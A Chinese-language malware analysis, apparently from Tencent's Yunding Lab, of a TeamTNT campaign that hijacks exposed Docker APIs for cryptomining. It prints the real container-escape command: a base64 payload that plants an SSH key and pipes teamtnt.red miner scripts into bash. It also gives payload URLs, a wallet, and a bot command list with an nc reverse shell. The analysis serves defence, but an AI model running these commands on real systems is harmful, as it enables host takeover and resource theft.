<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    TeamTNT黑產攻擊方法揭秘

    VSole2021-10-20 11:52:56

    一、背景

    騰訊安全云鼎實驗室持續監控云原生在野攻擊威脅態勢,繼DockerHub發現百萬下載量黑產鏡像(詳見文章 DockerHub再現百萬下載量黑產鏡像,小心你的容器被挖礦)之后,近期實驗室最新捕獲到TeamTNT黑客團隊新型在野容器攻擊活動,相比之前TeamTNT挖礦木馬,此次新型攻擊手法對原挖礦木馬進行了升級,并利用容器環境進行感染傳播。

    通過對TeamTNT新型容器攻擊樣本詳細分析,我們發現挖礦病毒是通過掃描docker remote api未授權訪問漏洞進行傳播。相比之前TeamTNT黑客團隊出的挖礦木馬,此次對原挖礦木馬進行了升級,在進行感染時使用了新的策略。入侵后會先進行清理其他挖礦,并使用新的隱藏進程方法,入侵完畢后會清理痕跡,覆蓋系統日志以逃避排查,為增加挖礦木馬植入的成功率還有備用挖礦程序,增加木馬的穩定性,利用nohup命令不掛斷地運行挖礦,并且在使用LKM rootkit技術隱藏進程。

    該樣本屬于最新版本TEAMTNT樣本,被云鼎實驗室哨兵系統(云上分布式蜜罐和沙箱)第一時間捕獲。本文將會使用ATT&CK矩陣溯源分析樣本在入侵、持久化、容器逃逸等完整攻擊路徑,為大家清晰還原黑客攻擊手法和全貌。


    二、樣本產生時間與流行分析

    樣本的開發時間大約在2021年09月14日編寫完畢,云鼎實驗室哨兵系統在9月14號第一時間捕獲,并進行了詳細的分析。

    哨兵捕獲的網絡包:

    樣本流行程度:

    通過哨兵智能情報統計系統,樣本在剛剛爆發的2周內較為流行,隨后感染率持續下降。




    三、樣本att&ck矩陣分析

    TEAMTNT的新樣本通過docker remote API傳播,過程中使用了 特權容器,容器逃逸,LKM rootkit 等先進攻擊方式,下面是對于整個攻擊過程的ATT&CK矩陣。

    下圖為攻擊流程,我們將整個過程分為五個部分講解:1、初始化訪問與對外掃描 2、執行3、權限提升-容器逃逸 4、攻擊持久化 5、防御繞過


    3.1 攻擊向量-初始訪問與橫向掃描—Remote API 漏洞:

    DockerRemote API :是一個取代遠程命令行界面(rcli)的REST API,默認綁定2375端口。Docker Remote API如配置不當可導致未授權訪問,攻擊者利用 docker client 或者 http 直接請求就可以訪問這個 API,可能導致敏感信息泄露,黑客也可以刪除Docker上的數據。攻擊者可進一步利用Docker自身特性,直接訪問宿主機上的敏感信息,或對敏感文件進行修改,最終完全控制服務器。

    A、掃描獲取docker API版本

    調用masscan 和 zgrab掃描目標IP,通過請求舊版本的命令,可以獲取到最新的docker API版本。

    通常獲取1.16版本,會返回如下信息:

    Handler for GET /v1.16/version returned error: client version 1.16 is too old. Minimum supported API version is 1.24, please upgrade your client to a newer version

    相關代碼如下:

    B、利用Remote API漏洞:

    直接通過Remote API漏洞,遠程啟動傳播病毒的容器鏡像 alpineos/dockerapi,容器使用完成后會自動清除容器內部的文件系統。啟動alpine 容器進行容器逃逸。

    通過騰訊云容器安全服務TCSS發現存在Remote API未授權訪問風險節點和詳細信息:


    3.2 攻擊向量-執行:

    在目標機器上的命令執行通過特權容器執行惡意指令,進行挖礦和病毒傳播。

    A、惡意鏡像alpineos/dockerapi:

    經查詢,alpineos帳號注冊時間為2021年5月26日,其中alpineos/dockerapi鏡像更新時間為截止目前已有一個月,大約有7600臺主機被感染。

    通過騰訊云容器安全服務TCSS對該鏡像進行掃描,發現該鏡像存在木馬病毒,掃描結果如下圖:

    鏡像啟動時會執行名為pause的腳本,pause腳本用于病毒的傳播。

    B、鏡像Alpine

    正規白鏡像,鏡像大小只有5M,方便下載,teamTNT使用這個鏡像進行容器逃逸。


    3.3攻擊向量-權限提升----Docker逃逸:

    TEAMTNT 使用的逃逸方法是特權模式+SSH

    特權模式在6.0版本的時候被引入Docker,其核心作用是允許容器內的root擁有外部物理機的root權限,而此前在容器內的root用戶只有外部物理機普通用戶的權限。

    使用特權模式啟動容器后(docker run --privileged),Docker容器被允許可以訪問主機上的所有設備、可以獲取大量設備文件的訪問權限。

    TEAMTNT 病毒容器運行的逃逸命令如下:

    docker -H $D_TARGET run -d --privileged --net host -v /:/host alpine

    chroot /host bash -c 'echo c3NoLWtleWdlbiAtTiAiIiAtZiAvdG1wL1RlYW1UTlQKCmNoYXR0ciAtUiAtaWEgL3Jvb3QvLnNzaC8gMj4vZGV2L251bGw7IHRudHJlY2h0IC1SIC1pYSAvcm9vdC8uc3NoLyAyPi9kZXYvbnVsbDsgaWNoZGFyZiAtUiAtaWEgL3Jvb3QvLnNzaC8gMj4vZGV2L251bGwKY2F0IC90bXAvVGVhbVROVC5wdWIgPj4gL3Jvb3QvLnNzaC9hdXRob3JpemVkX2tleXMKY2F0IC90bXAvVGVhbVROVC5wdWIgPiAvcm9vdC8uc3NoL2F1dGhvcml6ZWRfa2V5czIKcm0gLWYgL3RtcC9UZWFtVE5ULnB1YgoKCnNzaCAtb1N0cmljdEhvc3RLZXlDaGVja2luZz1ubyAtb0JhdGNoTW9kZT15ZXMgLW9Db25uZWN0VGltZW91dD01IC1pIC90bXAvVGVhbVROVCByb290QDEyNy4wLjAuMSAiKGN1cmwgaHR0cDovL3RlYW10bnQucmVkL3NoL3NldHVwL21vbmVyb29jZWFuX21pbmVyLnNofHxjZDEgaHR0cDovL3RlYW10bnQucmVkL3NoL3NldHVwL21vbmVyb29jZWFuX21pbmVyLnNofHx3Z2V0IC1xIC1PLSBodHRwOi8vdGVhbXRudC5yZWQvc2gvc2V0dXAvbW9uZXJvb2NlYW5fbWluZXIuc2h8fHdkMSAtcSAtTy0gaHR0cDovL3RlYW10bnQucmVkL3NoL3NldHVwL21vbmVyb29jZWFuX21pbmVyLnNoKXxiYXNoIgoKcm0gLWYgL3RtcC9UZWFtVE5UCgo= | base64 -d | bash'

    第一步:創建特權容器

    docker -H $D_TARGET run -d --privileged --net host -v /:/host alpine

    容器本身為干凈的alpine容器。

    第二步:SSH容器逃逸

    在root目錄下 拷貝ssh密鑰到宿主機,通過訪問127.0.0.1 從而進行容器逃逸。

    上述代碼解密后如下:

    逃逸后,可以在宿主機上下載moneroocean_miner.sh等腳本進行挖礦。


    3.4攻擊向量-防御繞過----清理痕跡與進程隱藏:

    在植入挖礦病毒后,會通過diamorphine.sh來隱藏進程,之后清理痕跡。

    A、通過diamorphine.sh 隱藏進程:

    從github.com/m0nad/Diamorphine下載安裝編譯Diamorphine,加載內核模塊dia.ko。

    Diamorphine是一個LKM rootkit ,功能就是 進程隱藏、模塊隱藏,用戶root權限獲取,帶有Magic-prefix 開頭的文件和目錄隱藏。

    這里重點介紹一下 進程隱藏部分。

    Rootkit初始化部分會hook getdents、getdents64 和kill 三個函數,其中被hook的kill 函數用于接受命令,進行進程隱藏、root等動作。

    Hacked_kill 定義了3個參數,31 用來隱藏進程,64用來獲取root,63用來隱藏自身模塊。

    被hook的kill代碼如下:

    通過 for_each_process遍歷進程列表找到目標進程,把進程標志設置為PF_INVISIBLE 從而達到隱藏進程的目標。

    Find_task代碼如下:

    通過kill命令的31信號隱藏挖礦進程(xmrig),并清理記錄

    B、痕跡清理

    清除命令歷史記錄:

    通過刪除/bash_history 和 執行history -c 命令,清除命令歷史記錄。

    清除wtmp,secure、cron 和mail 日志。

    C、ld.so.preload清理模塊

    ld.so.preload清理模塊使用了base64編碼,解密后可以看到以下功能。

    檢查/etc/ld.so.preload預加載文件,刪除空的ld.so.preload文件,如果ld.so.preload有預加載程序,則對其進行清理。

    為了能成功刪除,重新寫了文件刪除函數。文件刪除函數中使用了chattr和intrecht、ichdarf三個命令,這三個命令實為同一種功能,TeamTNT黑客團隊曾經在入侵時,重命名過系統命令。為能成功執行,系統命令和重命名過的命令一起執行,以提高成功率。


    3.5攻擊向量—持久化—釋放遠控

    TEAMTNT會下載Chimaera IRC 遠控木馬,木馬沒有加殼,功能較為豐富,這里不做過多介紹。

    相關命令和描述如下圖所示:

    整理后如下表所示:

    Command

    Description (from the binary)

    NICK <nick>

    Changes the nick of the client

    SERVER <server>

    Changes servers

    GETSPOOFS

    Gets the current spoofing

    SPOOFS <subnet>

    Changes spoofing to a subnet

    DISABLE

    Disables all packeting from this client

    ENABLE

    Enables all packeting from this client

    GET <http address> <save as>

    Downloads a file off the web and saves it onto the hd

    UPDATE <http address> <src:bin>

    Update this bot

    HACKPKG <http address> <bin name>

    HackPkg is here! Install a bin, using http, no depends!

    VERSION

    Requests version of client

    HELP

    Displays this

    IRC <command>

    Sends this command to the server

    SH <command>

    Executes a command

    ISH <command>

    SH, interactive, sends to channel

    SHD <command>

    Executes a pseudo-daemonized command

    GETBB <tftp server>

    Get a proper busybox

    INSTALL <http server/file_name>

    Download & install a binary to /var/bin

    BASH <cmd>

    Execute commands using bash.

    BINUPDATE <http:server/package>

    Update a binary in /var/bin via wget

    SCAN <nmap options>

    Call the nmap wrapper script and scan with your opts.

    RSHELL <server> <port>

    Equates to nohup nc ip port -e /bin/sh

    LOCKUP <http:server>

    Kill telnet, d/l aes backdoor from <server>, run that instead.

    GETSSH <http:server/dropbearmulti>

    D/l, install, configure and start dropbear on port 30022

    TOETEDENCLIENT

    Kill client

    UPDATE

    update

     

    四、挖礦部分分析

    Moneroocean.sh腳本主要用來挖礦:

    更改linux最大文件句柄數的限制,以提高穩定性。并配置防火墻,放行數據包。

    清理動態預加載預加載ld.preload,木馬通常使用使用此技術來隱藏木馬文件,可以實現劫持,TeamTNT團隊的新挖礦程序,清理了此加載文件,更換隱藏技術,并且可以排除其他挖礦程序,以達到資源獨占。清理模塊使用了base64編碼,上文有進一步分析。

    清理其他部分主流挖礦域名:

    還原ps命令,并清理定時任務,有些挖礦木馬存在修改系統命令:

    清理痕跡,清空系統日志,腳本最后有調用。

    清理其他挖礦程序,簡單粗暴判定CPU占用65%以上的都為挖礦程序,并結束進程,以達到資源獨占的目的。

    實現下載功能,實現類似wget curl功能,用于下載wget curl:

    檢查系統中是否有curl,如果沒有則從自己服務器上下載curl程序:

    下載錢包文件,并準備兩個挖礦安裝包,其中一個為備用安裝包:

    中止原有的的挖礦程序,下載新版挖礦木馬后重命名,并解壓后刪除安裝包

    檢測挖礦程序是否正常工作,如果被破壞則下載備用挖礦程序,解壓后刪除安裝包

    設置挖礦密碼,把用戶錢包,密碼,礦池地址寫入配置文件,并重命名為“config_background.json”。

    創建miner.sh腳本,把腳本寫入.profile,以便在登陸時在后臺運行。

    修改大頁內存hugepages值,以提高挖礦效率。

    創建挖礦服務,服務名為“SystemRaid.service”。

    增加挖礦木馬的健壯性,將挖礦程序在后臺運行。

    清理痕跡并通過執行diamorphine.sh來隱藏進程。

    挖礦信息總結:

    礦池:dl.chimaera.cc:21582

    錢包:89sp1qMoognSAbJTprreTXXUv9RG1AJBRjZ3CFg4rn6afQ5hRuqxiWRivYNqZbnYKKdsH5pCiTffrZToSyzXRfMvSHx5Guq

    首選挖礦程序:http://teamtnt.red/sh/bin/xmrig/x86_64/mo.tar.gz

    備用挖礦程序:https://github.com/xmrig/xmrig/releases/download/v6.15.0/xmrig-6.15.0-linux-static-x64.tar.gz

    URL:http://teamtnt.red/sh/setup/moneroocean_miner.sh; http://teamtnt.red/sh/setup/diamorphine.sh


    五、如何防御

    騰訊安全持續在容器安全上進行投入和相關研究,構建了完整的容器安全防護和服務保障體系,針對容器環境下的安全問題,騰訊云容器安全服務通過資產管理、鏡像安全、運行時安全、安全基線四大核心能力來保障容器的全生命周期安全,為企業提供鏡像掃描、運行時安全檢測(容器逃逸、反彈shell、文件查殺)、高級防御(異常進程攔截、文件篡改保護、高危系統調用監控)、安全基線檢測、資產管理一站式容器安全防護。容器安全服務已集成騰訊云鼎實驗室最新容器安全情報,可第一時間檢測黑產容器鏡像,并針對新型在野攻擊進行有效防御,企業可通過容器安全服務及時發現容器安全風險并快速構建容器安全防護體系。

    點擊下方“閱讀原文”了解 容器安全服務

    END


    更多精彩內容點擊下方掃碼關注哦~




      云鼎實驗室視頻號

     一分鐘走進趣味科技

       -掃碼關注我們-


    關注云鼎實驗室,獲取更多安全情報


    dockerdocker命令
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    此漏洞/攻擊取決于 Kubernetes 集群的配置方式。
    Docker容器入門指北
    2022-05-11 06:43:31
    Docker 是一種基于 Linux 的容器化技術,類似于輕量的虛擬機。它采用 C/S 架構,使用Go語言開發。Docker 分為 2 個版本:社區版和企業版,社區版免費,企業版是收費的
    1Docker 遷移存儲目錄默認情況系統會將 Docker 容器存放在 /var/lib/docker 目錄下[問題起因]?今天通過監控系統,發現公司其中一臺服務器的磁盤快慢,隨即上去看了下,發現?由上述原因,我們都知道,在?中存儲的都是相關于容器的存儲,所以也不能隨便的將其刪除掉。設備進行擴容來達到相同的目的。的詳細參數,請點擊查看?但是需要注意的一點就是,盡量不要用軟鏈, 因為一些?容器編排系統不支持這樣做,比如我們所熟知的?發現容器啟動不了了
    如果您希望啟動并運行一個強大的 ERP 解決方案,Jack Wallen 可以通過 Odoo 和 Docker 提供解決方案。
    七個殺手級Docker命令
    2023-12-22 15:19:58
    Docker是一個容器化平臺,通過操作系統級別的虛擬化技術,實現軟件的打包和容器化運行。借助Docker,開發人員能夠將應用程序以容器的形式進行部署,但在此之前需要構建Docker鏡像。只要熟悉相關Docker命令,開發人員就能輕松完成所有這些步驟,從而實現應用程序的容器化部署。本文將根據使用場景對 Docker 命令進行分類介紹。1 構建 Docker 鏡像構建 Docker 鏡像需要使用 Do
    首先,對Docker架構以及基本安全特性進行介紹,分析了Docker面臨的安全威脅。由于Docker擁有輕量化、高效率和易部署的特點,目前已被廣泛應用于云計算和微服務架構中。本文對Docker安全相關的研究思路、方法和工具進行比較和分析,并指出未來可能的研究方向。此外,Iptables的限制范圍有限,容器網絡仍然容易受到數據鏈路層攻擊,如ARP欺騙等。
    獨立的Docker Swarm1.2.3以上版本。舊版本的Portainer支持獨立Docker Swarm,而Portainer 1.17.0和更新版本不支持它。但是,對于一般需求,Portainer可能并不適合。此外,DockStation在Docker Hub上十分的受歡迎。未來,會重構成 Spring Cloud Alibaba 。
    你是否還在大量控制臺窗口中監控容器,還是對使用終端命令充滿熱情?而使用Docker的圖形用戶界面(GUI)工具,則可以更簡單的對容器進行管理,并提高效率。而且它們都是免費的。
    事先準備一臺linux主機,并且已安裝好docker環境。centos安裝docker環境如下:查詢可安裝版本:
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类